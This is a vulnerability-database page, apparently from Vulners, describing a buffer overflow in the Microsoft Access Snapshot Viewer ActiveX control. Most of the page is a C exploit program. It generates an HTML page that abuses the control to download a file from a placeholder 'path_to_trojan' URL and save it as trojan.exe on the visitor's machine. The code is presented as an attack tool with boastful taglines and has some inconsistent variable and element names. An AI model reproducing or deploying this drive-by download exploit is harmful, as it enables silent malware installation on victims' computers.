Microsoft Access 97/2000/2002 Snapshot Viewer ActiveX Control Parameter Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Access Snapshot Viewer ActiveX Control Buffer Overflo


                                                source: http://www.securityfocus.com/bid/8536/info

Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. Presumably, a remote attacker may be able to leverage this issue to execute arbitrary code in the context of the user running the affected Internet Explorer. 

/* Microsoft Access Snapshot Viewer ActiveX Control Exploit
   Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0
   Download nice binaries into an arbitrary box
   Vulnerability discovered by Oliver Lavery 
   http://www.securityfocus.com/bid/8536/info
   Remote: Yes
   greetz to str0ke */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;


#define Filename        &#34;Ms-Access-SnapShot.html&#34;


FILE *File;
char data[] = 
&#34;&#60;html&#62;\n&#60;objectclassid=&#39;clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9&#39;id=&#39;attaque&#39;&#62;&#60;/object&#62;\n&#34;
              &#34;&#60;script language=&#39;javascript&#39;&#62;\nvar arbitrary_file = 
&#39;http://path_to_trojan&#39;\n&#34;
              &#34;var dest = 
&#39;C:/Docume~1/ALLUSE~1/trojan.exe&#39;\nattack.SnapshotPath = 
arbitrary_file\n&#34;
              &#34;attack.CompressedPath = 
destination\nattack.PrintSnapshot(arbitrary_file,destination)\n&#34;
              &#34;&#60;script&#62;\n&#60;html&#62;&#34;;

int main ()
{
        printf(&#34;**Microsoft Access Snapshot Viewer ActiveX 
Exploit**\n&#34;);
        printf(&#34;**c0ded by callAX**\n&#34;);
        printf(&#34;**r00t your enemy .| **&#34;);

        FILE *File;
        char *b0fer;

        if ( (File = fopen(Filename,&#34;w+b&#34;)) == NULL ) {
                printf(&#34;\n fopen() error&#34;);
                exit(1);
        }

        b0fer = (char*)malloc(strlen(data));
        memcpy(b0fer,data,sizeof(data)-1);


        fwrite(b0fer, strlen(data), 1,File);
        fclose(File);

        printf(&#34;\n\n&#34; Filename &#34; has been created.\n&#34;);
        return 0;
}

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1